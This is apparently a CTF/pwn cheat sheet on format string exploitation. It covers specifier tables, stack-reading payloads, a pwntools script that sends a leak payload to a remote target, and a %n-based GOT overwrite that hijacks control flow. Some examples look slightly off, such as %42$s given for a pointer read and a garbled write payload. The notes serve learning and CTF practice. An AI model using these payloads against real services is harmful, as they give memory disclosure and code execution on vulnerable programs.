# Format String * Read and write values from stack * [axcheron's writeup](https://axcheron.github.io/exploit-101-format-strings/) ## Parameters |Parameters |Type |Passed as | |-----------------|-------------------------------------------|-----------| | %d | decimal (int) | value | | %u | unsigned decimal (unsigned int) | value | | %x | hexadecimal (unsigned int) | value | | %p | hexadecimal (unsigned int), nice layout | value | | %s | string ((const) (unsigned) char*) | reference | | %n | write the number of bytes ypu put in, (*int) | reference | ## Offset * Read at offset as pointer value at the 42th argument on the stack ```sh %42$s ``` * If the pointer at the offset references a string you can dereference by ```sh %42$s ``` ## Length of output * Padding of the first argument on stack to the given length ```sh %31337x ``` ## Read * Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function ```sh %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x ``` * Do long long hex reading from stack ```sh %llx ``` * Select values as string, e.g. the second value ```sh %2$s ``` * Another way of reading the pointer is via ```sh %p ``` * Read pointer on stack at offset 42 ```sh %42$p ``` * [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one ```python from pwn import * #p = process('./vuln') p = remote(target_ip, 9006) payload = b'%14$p||||' payload += p32(0x8048000) p.sendline(payload) log.info(p.clean()) ``` ## Write * Writing is done via `%n` * An example, GOT overwrite. We want to replace the pointer address * Watch out for the `PTR` from PLT to GOT ```sh objdump -Mintel -d [...] 0000000000401060 : 401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 401066: 68 03 00 00 00 push 0x3 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20> [...] ``` * The `PTR` derefences __0x404030__ * As an example, the parameter is found at arg 6 on the stack * Write the address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b` * The input is as follows ```sh %64c%6$nc %13$hn ``` * `64c` is `0x40`, rest of address - bytes already + 2 bytes alignment ## Tips and Tricks * Overwrite GOT when there is no FullRELRO, when it is not read only * Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack ```sh AAAA%6$p ```